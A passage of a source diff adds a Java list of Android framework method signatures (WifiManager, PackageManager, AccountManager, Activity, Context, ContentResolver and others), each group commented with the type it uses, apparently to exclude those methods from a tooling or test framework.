+            "public void addSuggestionUserApprovalStatusListener(java.util.concurrent.Executor, "
+                    + "android.net.wifi.WifiManager.SuggestionUserApprovalStatusListener)",
+            "public void clearApplicationUserData(android.content.ComponentName, @NonNull String,"
+                    + " @NonNull java.util.concurrent.Executor, android.app.admin"
+                    + ".DevicePolicyManager.OnClearApplicationUserDataListener)",
+            "public void registerScanResultsCallback(java.util.concurrent.Executor, android.net"
+                    + ".wifi.WifiManager.ScanResultsCallback)",
+            "public void registerSubsystemRestartTrackingCallback(java.util.concurrent.Executor, "
+                    + "android.net.wifi.WifiManager.SubsystemRestartTrackingCallback)",
+            // Uses WpsCallback
+            "public void cancelWps(android.net.wifi.WifiManager.WpsCallback)",
+            // Uses MulticastLock
+            "public android.net.wifi.WifiManager.MulticastLock createMulticastLock(String)",
+            // Uses WifiLock
+            "public android.net.wifi.WifiManager.WifiLock createWifiLock(int, String)",
+            "public android.net.wifi.WifiManager.WifiLock createWifiLock(String)",
+            // Uses SuggestionConnectionStatusListener
+            "public void removeSuggestionConnectionStatusListener(android.net.wifi.WifiManager"
+                    + ".SuggestionConnectionStatusListener)",
+            // Uses SuggestionUserApprovalStatusListener
+            "public void removeSuggestionUserApprovalStatusListener(android.net.wifi.WifiManager"
+                    + ".SuggestionUserApprovalStatusListener)",
+            // Uses LocalOnlyHotspotCallback
+            "public void startLocalOnlyHotspot(android.net.wifi.WifiManager"
+                    + ".LocalOnlyHotspotCallback, android.os.Handler)",
+            // Uses WpsCallback
+            "public void startWps(android.net.wifi.WpsInfo, android.net.wifi.WifiManager"
+                    + ".WpsCallback)",
+            // Uses ScanResultsCallback
+            "public void unregisterScanResultsCallback(@NonNull android.net.wifi.WifiManager"
+                    + ".ScanResultsCallback)",
+            // Uses SubsystemRestartTrackingCallback
+            "public void unregisterSubsystemRestartTrackingCallback(android.net.wifi.WifiManager"
+                    + ".SubsystemRestartTrackingCallback)",
+
+            // PackageManager
+
+            // Uses IBinder
+            "public android.os.IBinder getHoldLockToken()",
+            "public void holdLock(android.os.IBinder, int)",
+            // Uses Drawable
+            "public abstract android.graphics.drawable.Drawable getActivityBanner(@NonNull "
+                    + "android.content.ComponentName) throws android.content.pm.PackageManager"
+                    + ".NameNotFoundException",
+            "public abstract android.graphics.drawable.Drawable getActivityBanner(@NonNull "
+                    + "android.content.Intent) throws android.content.pm.PackageManager"
+                    + ".NameNotFoundException",
+            "public abstract android.graphics.drawable.Drawable getActivityIcon(@NonNull android"
+                    + ".content.ComponentName) throws android.content.pm.PackageManager"
+                    + ".NameNotFoundException",
+            "public abstract android.graphics.drawable.Drawable getActivityIcon(@NonNull android"
+                    + ".content.Intent) throws android.content.pm.PackageManager"
+                    + ".NameNotFoundException",
+            "public abstract android.graphics.drawable.Drawable getActivityLogo(@NonNull android"
+                    + ".content.ComponentName) throws android.content.pm.PackageManager"
+                    + ".NameNotFoundException",
+            "public abstract android.graphics.drawable.Drawable getActivityLogo(@NonNull android"
+                    + ".content.Intent) throws android.content.pm.PackageManager"
+                    + ".NameNotFoundException",
+            "public abstract android.graphics.drawable.Drawable getApplicationBanner(@NonNull "
+                    + "android.content.pm.ApplicationInfo)",
+            "public abstract android.graphics.drawable.Drawable getApplicationBanner(@NonNull "
+                    + "String) throws android.content.pm.PackageManager.NameNotFoundException",
+            "public abstract android.graphics.drawable.Drawable getApplicationIcon(@NonNull "
+                    + "android.content.pm.ApplicationInfo)",
+            "public abstract android.graphics.drawable.Drawable getApplicationIcon(@NonNull "
+                    + "String) throws android.content.pm.PackageManager.NameNotFoundException",
+            "public abstract android.graphics.drawable.Drawable getApplicationLogo(@NonNull "
+                    + "android.content.pm.ApplicationInfo)",
+            "public abstract android.graphics.drawable.Drawable getApplicationLogo(@NonNull "
+                    + "String) throws android.content.pm.PackageManager.NameNotFoundException",
+            "public abstract android.graphics.drawable.Drawable getDefaultActivityIcon()",
+            "public abstract android.graphics.drawable.Drawable getDrawable(@NonNull String, "
+                    + "@DrawableRes int, @Nullable android.content.pm.ApplicationInfo)",
+            "public abstract android.graphics.drawable.Drawable getUserBadgedDrawableForDensity"
+                    + "(@NonNull android.graphics.drawable.Drawable, @NonNull android.os"
+                    + ".UserHandle, @Nullable android.graphics.Rect, int)",
+            "public abstract android.graphics.drawable.Drawable getUserBadgedIcon(@NonNull "
+                    + "android.graphics.drawable.Drawable, @NonNull android.os.UserHandle)",
+            "public boolean isDefaultApplicationIcon(@NonNull android.graphics.drawable.Drawable)",
+            // Uses Executor
+            "public void getGroupOfPlatformPermission(@NonNull String, @NonNull java.util"
+                    + ".concurrent.Executor, @NonNull java.util.function.Consumer<java.lang"
+                    + ".String>)",
+            "public void getPlatformPermissionsForGroup(@NonNull String, @NonNull java.util"
+                    + ".concurrent.Executor, @NonNull java.util.function.Consumer<java.util"
+                    + ".List<java.lang.String>>)",
+            // Uses Resources
+            "public abstract android.content.res.Resources getResourcesForActivity(@NonNull "
+                    + "android.content.ComponentName) throws android.content.pm.PackageManager"
+                    + ".NameNotFoundException",
+            "public abstract android.content.res.Resources getResourcesForApplication(@NonNull "
+                    + "android.content.pm.ApplicationInfo) throws android.content.pm"
+                    + ".PackageManager.NameNotFoundException",
+            "public android.content.res.Resources getResourcesForApplication(@NonNull android"
+                    + ".content.pm.ApplicationInfo, @Nullable android.content.res.Configuration) "
+                    + "throws android.content.pm.PackageManager.NameNotFoundException",
+            "public abstract android.content.res.Resources getResourcesForApplication(@NonNull "
+                    + "String) throws android.content.pm.PackageManager.NameNotFoundException",
+            // Uses PackageInstaller
+            "public abstract android.content.pm.PackageInstaller getPackageInstaller()",
+            // Uses XmlResourceParser
+            "public abstract android.content.res.XmlResourceParser getXml(@NonNull String, "
+                    + "@XmlRes int, @Nullable android.content.pm.ApplicationInfo)",
+            // Uses OnChecksumsReadyListener
+            "public void requestChecksums(@NonNull String, boolean, int, @NonNull java.util"
+                    + ".List<java.security.cert.Certificate>, @NonNull android.content.pm"
+                    + ".PackageManager.OnChecksumsReadyListener) throws java.security.cert"
+                    + ".CertificateEncodingException, android.content.pm.PackageManager"
+                    + ".NameNotFoundException",
+
+            // CrossProfileApps
+
+            // Uses Drawable
+            "public android.graphics.drawable.Drawable getProfileSwitchingIconDrawable("
+                    + "android.os.UserHandle)",
+            // Uses Activity
+            "public void startActivity("
+                    + "android.content.Intent, android.os.UserHandle, android.app.Activity)",
+            "public void startActivity(android.content.Intent, android.os.UserHandle,"
+                    + "android.app.Activity, android.os.Bundle)",
+
+            // LauncherApps
+
+            //Uses LauncherApps.Callback
+            "public void registerCallback("
+                    + "android.content.pm.LauncherApps.Callback, android.os.Handler)",
+            "public void registerCallback("
+                    + "android.content.pm.LauncherApps.Callback)",
+
+            //Uses Drawable
+            "public android.graphics.drawable.Drawable getShortcutBadgedIconDrawable("
+            + "android.content.pm.ShortcutInfo, int)",
+            "public android.graphics.drawable.Drawable getShortcutIconDrawable("
+            + "android.content.pm.ShortcutInfo, int)",
+
+            //Uses Executor
+            "public void registerPackageInstallerSessionCallback("
+                    + "@NonNull @CallbackExecutor java.util.concurrent.Executor,"
+                    + "@NonNull android.content.pm.PackageInstaller.SessionCallback)",
+
+            // Uses LauncherActivityInfo
+            "public java.util.List<android.content.pm.LauncherActivityInfo> getActivityList("
+                    + "String, android.os.UserHandle)",
+            "public java.util.List<android.content.pm.LauncherActivityInfo> "
+                    + "getShortcutConfigActivityList(String, android.os.UserHandle)",
+            "public android.content.IntentSender getShortcutConfigActivityIntent("
+                    + "@NonNull android.content.pm.LauncherActivityInfo)",
+            "public android.content.pm.LauncherActivityInfo resolveActivity("
+                    + "android.content.Intent, android.os.UserHandle)",
+
+            //Uses LauncherApps.ShortcutQuery
+            "public java.util.List<android.content.pm.ShortcutInfo> getShortcuts("
+                    + "android.content.pm.LauncherApps.ShortcutQuery, android.os.UserHandle)",
+            "public void unregisterCallback(android.content.pm.LauncherApps.Callback)",
+
+            //Uses PackageInfo.SessionCallback
+            "public void unregisterPackageInstallerSessionCallback("
+                    + "android.content.pm.PackageInstaller.SessionCallback)",
+
+            // AccountManager
+
+            // Uses Activity
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> confirmCredentials(android.accounts.Account, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+
+            // Uses OnAccountsUpdateListener
+            "public void addOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener, android.os.Handler, boolean)",
+            "public void addOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener, android.os.Handler, boolean, String[])",
+            "public void removeOnAccountsUpdatedListener(android.accounts.OnAccountsUpdateListener)",
+
+            // Uses AccountManagerCallback
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
+            "public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+            "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.accounts.Account[]> getAccountsByTypeAndFeatures(String, String[], android.accounts.AccountManagerCallback<android.accounts.Account[]>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+            "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
+            "public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
+            "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)",
+
+            // Uses android.accounts.AccountManager
+            "public static android.accounts.AccountManager get(android.content.Context)",
+
+            // Activity
+
+            // Uses android.view.View
+            "public void addContentView(android.view.View, android.view.ViewGroup.LayoutParams)",
+            "@Nullable public android.view.View getCurrentFocus()",
+            "@Nullable public android.view.View onCreatePanelView(int)",
+            "@Nullable public android.view.View onCreateView(@NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet)",
+            "@Nullable public android.view.View onCreateView(@Nullable android.view.View, @NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet)",
+            "public boolean onPreparePanel(int, @Nullable android.view.View, @NonNull android.view.Menu)",
+            "public void openContextMenu(android.view.View)",
+            "public void registerForContextMenu(android.view.View)",
+            "public void setContentView(android.view.View)",
+            "public void setContentView(android.view.View, android.view.ViewGroup.LayoutParams)",
+            "public void unregisterForContextMenu(android.view.View)",
+
+            // Uses java.io.FileDescriptor
+            "public void dump(@NonNull String, @Nullable java.io.FileDescriptor, @NonNull java.io.PrintWriter, @Nullable String[])",
+
+            // Uses android.app.Activity
+            "@Deprecated public void finishActivityFromChild(@NonNull android.app.Activity, int)",
+            "@Deprecated public void finishFromChild(android.app.Activity)",
+            "public final android.app.Activity getParent()",
+            "@Deprecated public boolean navigateUpToFromChild(android.app.Activity, android.content.Intent)",
+            "protected void onChildTitleChanged(android.app.Activity, CharSequence)",
+            "@Deprecated public boolean onNavigateUpFromChild(android.app.Activity)",
+            "@Deprecated public void startActivityFromChild(@NonNull android.app.Activity, @RequiresPermission android.content.Intent, int)",
+            "@Deprecated public void startActivityFromChild(@NonNull android.app.Activity, @RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle)",
+            "@Deprecated public void startIntentSenderFromChild(android.app.Activity, android.content.IntentSender, int, android.content.Intent, int, int, int) throws android.content.IntentSender.SendIntentException",
+            "@Deprecated public void startIntentSenderFromChild(android.app.Activity, android.content.IntentSender, int, android.content.Intent, int, int, int, @Nullable android.os.Bundle) throws android.content.IntentSender.SendIntentException",
+
+            // Uses android.app.ActionBar
+            "@Nullable public android.app.ActionBar getActionBar()",
+
+            // Uses android.app.Application
+            "public final android.app.Application getApplication()",
+
+            // Uses android.app.Fragment
+            "@Deprecated public void onAttachFragment(android.app.Fragment)",
+            "@Deprecated public void startActivityFromFragment(@NonNull android.app.Fragment, @RequiresPermission android.content.Intent, int)",
+            "@Deprecated public void startActivityFromFragment(@NonNull android.app.Fragment, @RequiresPermission android.content.Intent, int, @Nullable android.os.Bundle)",
+
+            // Uses android.app.FragmentManager
+            "@Deprecated public android.app.FragmentManager getFragmentManager()",
+
+            // Uses android.transition.Scene
+            "public android.transition.Scene getContentScene()",
+
+            // Uses android.transition.TransitionManager
+            "public android.transition.TransitionManager getContentTransitionManager()",
+            "public void setContentTransitionManager(android.transition.TransitionManager)",
+
+            // Uses Object
+            "@Nullable public Object getLastNonConfigurationInstance()",
+            "public Object onRetainNonConfigurationInstance()",
+
+            // Uses android.view.LayoutInflater
+            "@NonNull public android.view.LayoutInflater getLayoutInflater()",
+
+            // Uses android.view.MenuInflater
+            "@NonNull public android.view.MenuInflater getMenuInflater()",
+
+            // Uses android.app.LoaderManager
+            "@Deprecated public android.app.LoaderManager getLoaderManager()",
+
+            // Uses android.media.session.MediaController
+            "public final android.media.session.MediaController getMediaController()",
+
+            // Uses android.content.SharedPreferences
+            "public android.content.SharedPreferences getPreferences(int)",
+
+            // Uses android.view.SearchEvent
+            "public final android.view.SearchEvent getSearchEvent()",
+
+            // Uses android.window.SplashScreen
+            "@NonNull public final android.window.SplashScreen getSplashScreen()",
+
+            // Uses android.app.VoiceInteractor
+            "public android.app.VoiceInteractor getVoiceInteractor()",
+
+            // Uses android.view.Window
+            "public android.view.Window getWindow()",
+
+            // Uses android.view.WindowManager
+            "public android.view.WindowManager getWindowManager()",
+
+            // Uses android.database.Cursor
+            "@Deprecated public final android.database.Cursor managedQuery(android.net.Uri, String[], String, String[], String)",
+            "@Deprecated public void startManagingCursor(android.database.Cursor)",
+            "@Deprecated public void stopManagingCursor(android.database.Cursor)",
+
+            // Uses android.view.ActionMode
+            "@CallSuper public void onActionModeFinished(android.view.ActionMode)",
+            "@CallSuper public void onActionModeStarted(android.view.ActionMode)",
+            "@Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback)",
+            "@Nullable public android.view.ActionMode onWindowStartingActionMode(android.view.ActionMode.Callback, int)",
+            "@Nullable public android.view.ActionMode startActionMode(android.view.ActionMode.Callback)",
+            "@Nullable public android.view.ActionMode startActionMode(android.view.ActionMode.Callback, int)",
+
+            // Uses android.view.MenuItem
+            "public boolean onContextItemSelected(@NonNull android.view.MenuItem)",
+            "public void onContextMenuClosed(@NonNull android.view.Menu)",
+            "public boolean onMenuItemSelected(int, @NonNull android.view.MenuItem)",
+            "public boolean onOptionsItemSelected(@NonNull android.view.MenuItem)",
+
+            // Uses android.view.ContextMenu
+            "public void onCreateContextMenu(android.view.ContextMenu, android.view.View, android.view.ContextMenu.ContextMenuInfo)",
+
+            // Uses android.app.Dialog
+            "@Deprecated protected android.app.Dialog onCreateDialog(int)",
+            "@Deprecated @Nullable protected android.app.Dialog onCreateDialog(int, android.os.Bundle)",
+            "@Deprecated protected void onPrepareDialog(int, android.app.Dialog)",
+            "@Deprecated protected void onPrepareDialog(int, android.app.Dialog, android.os.Bundle)",
+
+            // Uses android.app.TaskStackBuilder
+            "public void onCreateNavigateUpTaskStack(android.app.TaskStackBuilder)",
+            "public void onPrepareNavigateUpTaskStack(android.app.TaskStackBuilder)",
+
+            // Uses android.view.Menu
+            "public boolean onCreateOptionsMenu(android.view.Menu)",
+            "public boolean onCreatePanelMenu(int, @NonNull android.view.Menu)",
+            "public boolean onMenuOpened(int, @NonNull android.view.Menu)",
+            "public void onOptionsMenuClosed(android.view.Menu)",
+            "public void onPanelClosed(int, @NonNull android.view.Menu)",
+            "public boolean onPrepareOptionsMenu(android.view.Menu)",
+
+            // Uses android.graphics.Canvas
+            "@Deprecated public boolean onCreateThumbnail(android.graphics.Bitmap, android.graphics.Canvas)",
+
+            // Uses android.os.CancellationSignal
+            "public void onGetDirectActions(@NonNull android.os.CancellationSignal, @NonNull java.util.function.Consumer<java.util.List<android.app.DirectAction>>)",
+            "public void onPerformDirectAction(@NonNull String, @NonNull android.os.Bundle, @NonNull android.os.CancellationSignal, @NonNull java.util.function.Consumer<android.os.Bundle>)",
+
+            // Uses android.view.SearchEvent
+            "public boolean onSearchRequested(@Nullable android.view.SearchEvent)",
+
+            // Uses android.app.Application.ActivityLifecycleCallbacks
+            "public void registerActivityLifecycleCallbacks(@NonNull android.app.Application.ActivityLifecycleCallbacks)",
+            "public void unregisterActivityLifecycleCallbacks(@NonNull android.app.Application.ActivityLifecycleCallbacks)",
+
+            // Uses Runnable
+            "public final void runOnUiThread(Runnable)",
+
+            // Uses android.widget.Toolbar
+            "public void setActionBar(@Nullable android.widget.Toolbar)",
+
+            // Uses android.app.SharedElementCallback
+            "public void setEnterSharedElementCallback(android.app.SharedElementCallback)",
+            "public void setExitSharedElementCallback(android.app.SharedElementCallback)",
+
+            // Uses Drawable
+            "public final void setFeatureDrawable(int, android.graphics.drawable.Drawable)",
+
+            // Uses android.media.session.MediaController
+            "public final void setMediaController(android.media.session.MediaController)",
+
+            // Context
+
+            // Uses Object
+            "public abstract Object getSystemService(@NonNull String)",
+
+            // ContextThemeWrapper
+            "protected void onApplyThemeResource(android.content.res.Resources.Theme, int, boolean)",
+
+            // Context
+
+            // Uses java.util.concurrent.Executor
+            "public boolean bindIsolatedService(@NonNull @RequiresPermission android.content.Intent, int, @NonNull String, @NonNull java.util.concurrent.Executor, @NonNull android.content.ServiceConnection)",
+            "public boolean bindService(@NonNull @RequiresPermission android.content.Intent, int, @NonNull java.util.concurrent.Executor, @NonNull android.content.ServiceConnection)",
+
+            // Uses android.content.ServiceConnection
+            "public abstract boolean bindService(@RequiresPermission android.content.Intent, @NonNull android.content.ServiceConnection, int)",
+            "public boolean bindServiceAsUser(@NonNull @RequiresPermission android.content.Intent, @NonNull android.content.ServiceConnection, int, @NonNull android.os.UserHandle)",
+            "public abstract void unbindService(@NonNull android.content.ServiceConnection)",
+            "public void updateServiceGroup(@NonNull android.content.ServiceConnection, int, int)",
+
+            // Uses android.content.Context
+            "@NonNull public android.content.Context createAttributionContext(@Nullable String)",
+            "public abstract android.content.Context createConfigurationContext(@NonNull android.content.res.Configuration)",
+            "@NonNull public android.content.Context createContext(@NonNull android.content.ContextParams)",
+            "public abstract android.content.Context createContextForSplit(String) throws android.content.pm.PackageManager.NameNotFoundException",
+            "public abstract android.content.Context createDeviceProtectedStorageContext()",
+            "@DisplayContext public abstract android.content.Context createDisplayContext(@NonNull android.view.Display)",
+            "public abstract android.content.Context createPackageContext(String, int) throws android.content.pm.PackageManager.NameNotFoundException",
+            "@NonNull @UiContext public android.content.Context createWindowContext(int, @Nullable android.os.Bundle)",
+            "@NonNull @UiContext public android.content.Context createWindowContext(@NonNull android.view.Display, int, @Nullable android.os.Bundle)",
+            "public abstract android.content.Context getApplicationContext()",
+
+            // Uses android.content.res.AssetManager
+            "public abstract android.content.res.AssetManager getAssets()",
+
+            // Uses java.lang.ClassLoader
+            "public abstract ClassLoader getClassLoader()",
+
+            // Uses android.view.Display
+            "@Nullable public android.view.Display getDisplay()",
+
+            // Uses android.graphics.drawable.Drawable
+            "@Nullable public final android.graphics.drawable.Drawable getDrawable(@DrawableRes int)",
+            "@Deprecated public abstract android.graphics.drawable.Drawable getWallpaper()",
+            "@Deprecated public abstract android.graphics.drawable.Drawable peekWallpaper()",
+
+            // Uses java.util.concurrent.Executor
+            "public java.util.concurrent.Executor getMainExecutor()",
+
+            // Uses android.os.Looper
+            "public abstract android.os.Looper getMainLooper()",
+
+            // Uses android.content.pm.PackageManager
+            "public abstract android.content.pm.PackageManager getPackageManager()",
+
+            // Uses android.content.ContextParams
+            "@Nullable public android.content.ContextParams getParams()",
+
+            // Uses android.content.res.Resources
+            "public abstract android.content.res.Resources getResources()",
+
+            // Uses android.content.SharedPreferences
+            "public abstract android.content.SharedPreferences getSharedPreferences(String, int)",
+
+            // Uses android.content.res.Resources.Theme
+            "public abstract android.content.res.Resources.Theme getTheme()",
+
+            // Uses android.content.res.TypedArray
+            "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@NonNull @StyleableRes int[])",
+            "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@StyleRes int, @NonNull @StyleableRes int[]) throws android.content.res.Resources.NotFoundException",
+            "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@Nullable android.util.AttributeSet, @NonNull @StyleableRes int[])",
+            "@NonNull public final android.content.res.TypedArray obtainStyledAttributes(@Nullable android.util.AttributeSet, @NonNull @StyleableRes int[], @AttrRes int, @StyleRes int)",
+
+            // Uses java.io.FileInputStream
+            "public abstract java.io.FileInputStream openFileInput(String) throws java.io.FileNotFoundException",
+
+            // Uses java.io.FileOutputStream
+            "public abstract java.io.FileOutputStream openFileOutput(String, int) throws java.io.FileNotFoundException",
+
+            // Uses android.database.sqlite.SQLiteDatabase
+            "public abstract android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory)",
+            "public abstract android.database.sqlite.SQLiteDatabase openOrCreateDatabase(String, int, android.database.sqlite.SQLiteDatabase.CursorFactory, @Nullable android.database.DatabaseErrorHandler)",
+
+            // Uses android.content.ComponentCallbacks
+            "public void registerComponentCallbacks(android.content.ComponentCallbacks)",
+            "public void unregisterComponentCallbacks(android.content.ComponentCallbacks)",
+
+            // Uses android.content.BroadcastReceiver
+            "@Nullable public abstract android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter)",
+            "@Nullable public abstract android.content.Intent registerReceiver(@Nullable android.content.BroadcastReceiver, android.content.IntentFilter, int)",
+            "@Nullable public abstract android.content.Intent registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler)",
+            "@Nullable public abstract android.content.Intent registerReceiver(android.content.BroadcastReceiver, android.content.IntentFilter, @Nullable String, @Nullable android.os.Handler, int)",
+            "public abstract void sendOrderedBroadcast(@NonNull @RequiresPermission android.content.Intent, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public void sendOrderedBroadcast(@NonNull android.content.Intent, @Nullable String, @Nullable String, @Nullable android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public abstract void sendOrderedBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle, @Nullable String, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public abstract void sendStickyOrderedBroadcast(@RequiresPermission android.content.Intent, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public abstract void sendStickyOrderedBroadcastAsUser(@RequiresPermission android.content.Intent, android.os.UserHandle, android.content.BroadcastReceiver, @Nullable android.os.Handler, int, @Nullable String, @Nullable android.os.Bundle)",
+            "public abstract void unregisterReceiver(android.content.BroadcastReceiver)",
+
+            // Uses java.io.InputStream
+            "@Deprecated public abstract void setWallpaper(java.io.InputStream) throws java.io.IOException",
+
+
+            // Doesn't make sense as it requires an actual Context
+            "public abstract boolean moveDatabaseFrom(android.content.Context, String)",
+            "public abstract boolean moveSharedPreferencesFrom(android.content.Context, String)",
+
+            // ContentResolver
+
+            // Uses Object
+            "public static Object addStatusChangeListener(int, android.content.SyncStatusObserver)",
+            "public static void removeStatusChangeListener(Object)",
+
+            // Uses android.content.ContentProviderClient
+            "@Nullable public final android.content.ContentProviderClient acquireContentProviderClient(@NonNull android.net.Uri)",
+            "@Nullable public final android.content.ContentProviderClient acquireContentProviderClient(@NonNull String)",
+            "@Nullable public final android.content.ContentProviderClient acquireUnstableContentProviderClient(@NonNull android.net.Uri)",
+            "@Nullable public final android.content.ContentProviderClient acquireUnstableContentProviderClient(@NonNull String)",
+
+            // Uses android.content.ContentResolver.MimeTypeInfo
+            "@NonNull public final android.content.ContentResolver.MimeTypeInfo getTypeInfo(@NonNull String)",
+
+            // Uses android.util.Size
+            "@NonNull public android.graphics.Bitmap loadThumbnail(@NonNull android.net.Uri, @NonNull android.util.Size, @Nullable android.os.CancellationSignal) throws java.io.IOException",
+
+            // Uses android.database.ContentObserver
+            "public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver)",
+            "@Deprecated public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver, boolean)",
+            "public void notifyChange(@NonNull android.net.Uri, @Nullable android.database.ContentObserver, int)",
+            "public void notifyChange(@NonNull java.util.Collection<android.net.Uri>, @Nullable android.database.ContentObserver, int)",
+            "public final void registerContentObserver(@NonNull android.net.Uri, boolean, @NonNull android.database.ContentObserver)",
+            "public final void unregisterContentObserver(@NonNull android.database.ContentObserver)",
+
+            // Uses android.os.CancellationSignal
+            "@Nullable public final android.content.res.AssetFileDescriptor openAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.content.res.AssetFileDescriptor openAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.os.ParcelFileDescriptor openFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.os.ParcelFileDescriptor openFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFile(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "@Nullable public final android.content.res.AssetFileDescriptor openTypedAssetFileDescriptor(@NonNull android.net.Uri, @NonNull String, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal) throws java.io.FileNotFoundException",
+            "public final boolean refresh(@NonNull android.net.Uri, @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal)",
+
+            // Uses java.io.InputStream
+            "@Nullable public final java.io.InputStream openInputStream(@NonNull android.net.Uri) throws java.io.FileNotFoundException",
+
+            // Uses java.io.OutputStream
+            "@Nullable public final java.io.OutputStream openOutputStream(@NonNull android.net.Uri) throws java.io.FileNotFoundException",
+            "@Nullable public final java.io.OutputStream openOutputStream(@NonNull android.net.Uri, @NonNull String) throws java.io.FileNotFoundException",
+
+            // Uses android.database.Cursor
+            "@Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String)",
+            "@Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable String, @Nullable String[], @Nullable String, @Nullable android.os.CancellationSignal)",
+            "@Nullable public final android.database.Cursor query(@NonNull @RequiresPermission.Read android.net.Uri, @Nullable String[], @Nullable android.os.Bundle, @Nullable android.os.CancellationSignal)",
+
+            // Uses android.content.ContentResolver
+            "@NonNull public static android.content.ContentResolver wrap(@NonNull android.content.ContentProvider)",
+            "@NonNull public static android.content.ContentResolver wrap(@NonNull android.content.ContentProviderClient)",
+
+
+            // KeyChain
+
+            // Uses android.app.Activity
+            "public static void choosePrivateKeyAlias(@NonNull android.app.Activity, @NonNull android.security.KeyChainAliasCallback, @Nullable String[], @Nullable java.security.Principal[], @Nullable String, int, @Nullable String)",
